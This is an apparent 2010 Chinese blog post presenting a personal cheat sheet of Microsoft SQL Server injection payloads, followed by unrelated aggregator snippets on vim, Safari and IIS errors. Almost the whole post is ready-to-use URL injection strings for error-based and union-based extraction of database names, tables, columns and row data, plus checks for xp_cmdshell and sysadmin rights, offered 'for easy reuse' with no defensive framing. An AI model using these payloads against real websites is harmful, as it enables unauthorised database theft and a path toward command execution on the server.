Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51

近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!

-----------------------------------------------------------------------------------------------------------------------------------

Mssql注释符:

#

--

显错模式的:

判断是否支持多行

;declare @x int--

查看当前数据库版本

URL?id=13 and @@version>0--

查看当前连接数据库用户

URL?id=13 and user>0--

查看当前数据库名

URL?id=13 and db_name()>0--

爆数据库名

URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--

//dbid<7的为系统库名

爆当前数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2')))--

爆其他数据库表名

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' ))--

URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in ('表名1','表名2')))--

爆字段名

URL?id=13 having 1=1--

URL?id=13 group by 表名.字段名1,字段名2 having 1=1--

爆其他表的字段名

URL?id=13 select * from 表名 having 1=1--

URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--

扩展一下

URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名

URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名

爆数据

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--

URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2'))--

URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!='数据1' and 字段名!='数据2'--

//也可以用where语句

不显错模式

URL?id=13 order by 字段数

URL?id=13 and 1=2 union select ?,?,?,?,?--

查询数据库版本和系统版本

URL?id=13 and 1=2 union select ?,?,?,@@version--

查询数据库用户名

URL?id=13 and 1=2 union select ?,?,?,(select user)--

URL?id=13 and 1=2 union select ?,?,?,(select system_user)--

查询主机名

URL?id=13 and 1=2 union select ?,?,?,(select host_name())--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?,(select db_name())--

判断存储扩展xp_cmdshell

URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')--

//1为存在,0为不存在

判断当前数据库用户权限

URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember('sysadmin'))--

查询数据库名

URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--

//dbid<7的为系统数据库名

查询数据库表名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U')--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2'))--

查询字段名

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名')--

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名') and name not in('字段名1','字段名2')--

查询数据

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--

URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2')--

其他的语句

爆表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')) from sysobjects--

//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

爆其他数据库表名

URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in(select top 0 name from [数据库名]..sysobjects where xtype='u')

爆字段

URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name='表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='表名'))) from sysobjects--

//从0开始增加第二个top N的数字就可以遍历admin表的字段名了

查询数据

URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--

Mssql显错和不显错模式下的注入的更多相关文章

  1. 在debug模式下运行不报错,换到release模式下报找不到某某库或文件的错。。解决办法

    我遇到的问题是:把edit secheme调到debug模式运行没有问题,然后调到release模式的时候报目录下没有libTuyoo.a 解决办法 把断开真机设备,用IOS device下relea ...

  2. Safari无痕模式下,storage被禁用问题

    前言 Safari开启无痕模式后,localStorage和sessionStorage为空,对其进行set操作也会报错,也就是说这种情况下,storage是被禁止使用了.接下来说一下解决方法. 解决 ...

  3. MSSQL注入SA权限不显错模式下的 入 侵

    一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用.方法很简单大家看操作. 我这里使用的是 火狐的插件提交参数 ...

  4. 当IDENTITY_INSERT设置为OFF时不能向表插入显示值。(源:MSSQLServer,错误码:544)

    错误提示"事务和快照同步时提示:当IDENTITY_INSERT设置为OFF时不能向表插入显示值.(源:MSSQLServer,错误码:544)" 原因:在SQL2008同步时到S ...

  5. vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

  6. 转:vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

  7. 关于Mui严格模式下的报错解决方案

    前言:作为一名程序员遇到Bug总是在所难免的,但是记住"不二过",今天在Vue开发中遇到了一个报错让我纠结了许久,找了许久, 报错的原因是使用了mui导入其js文件导致的. 报错信 ...

  8. IIS7部署报错 500.22错误 检查到这集成托管模式下不使用的ASP.NET配置

    公司的一个项目,环境为: .Net 4.0 + MVC3,部署在Windows Server 2003R2 IIS6.0上面运行正常, 迁移到新服务器Windows Server 2008R2,部署在 ...

  9. 服务器 vim模式下报错E37: No write since last change (add ! to override)

    故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...

随机推荐

  1. [转载]监控 Linux 性能的 18 个命令行工具

    转自:http://www.kuqin.com/shuoit/20140219/338066.html 对于系统和网络管理员来说每天监控和调试Linux系统的性能问题是一项繁重的工作.在IT领域作为一 ...

  2. 关于xcode7编译旧项目崩溃-[UIApplication _runWithMainScene:transitionContext:completion:]

    崩溃原因 crash: Assertion failure in -[UIApplication _runWithMainScene:transitionContext:completion:], / ...

  3. Linux操作系统Centos7.2版本搭建Apache+PHP+Mysql环境

    对于在校大学生来说腾讯云1元主机很划算,所以就申请了一台,打算在上面学习下linux,使用版本为centos7.2版本.在服务器上比较推荐centos,此版本生命周期较长,而且网上有关centos的教 ...

  4. 使用cocoapods导入第三方后 报错_OBJC_CLASS_$_XXX

    我们手动导入第三方库的时候,感觉管理不是很方便,于是会选择使用Cocoapods管理.现在记录一下使用心得,当使用cocoapods导入afnetworking或者其他框架的时候,发现调用的时候总是报 ...

  5. DTN学习的一些有用链接

    1.DTN研究组,该网站提供了一些代码,有NS2上的实现,也有用java实现的源码. http://www.dtnrg.org/wiki/Code 2.DTN实现的另一个版本,与ONE比较,目前还没用 ...

  6. SHELL网络爬虫实例剖析--转载

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://nolinux.blog.51cto.com/4824967/1552472 前天 ...

  7. vim 开发配置(转载)

    原文:http://www.cnblogs.com/ma6174/archive/2011/12/10/2283393.html 花了很长时间整理的,感觉用起来很方便,共享一下. 我的vim配置主要有 ...

  8. Debian耳机声音问题

    Debian耳机声音问题 关于Debian声音问题 debian testing基本系统安装无声音问题解决 耳机声音问题 之前耳机声音一直正常,使用部分软件更改声卡设置后,计算机可以播放外音,但是耳机 ...

  9. 黑信 socket即时通讯 示例

    整个过程 首先开启服务器 打开一个SDK大于4.4的手机---B 打开一个SDK小于4.4的手机---A 相互发送一条消息,对方就可以收到,当然这些消息都是通过服务器[转发]过来的 MainActiv ...

  10. .net错误处理机制(转)

    asp.net 提供了4中错误机制:Page_Error事件>ErrorPage属性>Application_Error事件> <customErrors>配置项 ① P ...